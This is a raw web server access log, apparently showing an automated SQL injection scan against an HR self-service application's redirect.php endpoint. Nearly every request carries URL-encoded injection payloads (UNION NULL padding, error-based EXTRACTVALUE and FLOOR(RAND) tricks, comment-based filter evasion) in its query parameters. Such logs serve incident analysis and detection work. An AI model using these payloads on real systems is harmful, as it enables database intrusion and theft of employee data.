100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47464475%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70636e63%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1ruv%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:29 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x47464475%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70636e63%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F1ruv%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3669656c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41503464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FpZGH%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3669656c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41503464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FpZGH%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5349464d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e305030%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fev7m HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x5349464d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4e305030%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2Fev7m HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x46726c4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3742686e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FqipZ HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x46726c4a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3742686e%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FqipZ HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6c313348%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f775569%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FroL1 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x6c313348%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f775569%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FroL1 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76624273%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6331344e%29%29%2C1%29--%2F%2A%2A%2FiN5h HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x76624273%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6331344e%29%29%2C1%29--%2F%2A%2A%2FiN5h HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x74353458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3068496d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x74353458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3068496d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46335761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41565a50%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F0Ic8%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x46335761%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41565a50%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F0Ic8%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x38626258%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d444c34%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fdx9K%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x38626258%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6d444c34%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fdx9K%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x74353458%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3068496d%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3834616e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3553724a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FmhYW HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x3834616e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3553724a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FmhYW HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52726677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65796145%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fv4gG%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x52726677%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65796145%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fv4gG%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x41735170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x384b7058%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F736O%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x41735170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x384b7058%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F736O%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x31307854%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68546e31%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FveWh%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 365 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x31307854%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68546e31%29%29%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FveWh%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x3669656c%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x41503464%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FpZGH%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x68464870%2C%28NULL%29%2C0x50627248%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FJybh%29&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x68464870%2C%28NULL%29%2C0x50627248%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FJybh%29&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x68756e30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x704a3744%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgfeM%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 365 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x68756e30%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x704a3744%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FgfeM%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 365
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68476b46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43434543%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FFK7q&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:30 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x68476b46%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x43434543%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23--%2F%2A%2A%2FFK7q&userseqno=47810 HTTP/1.1" 302 -
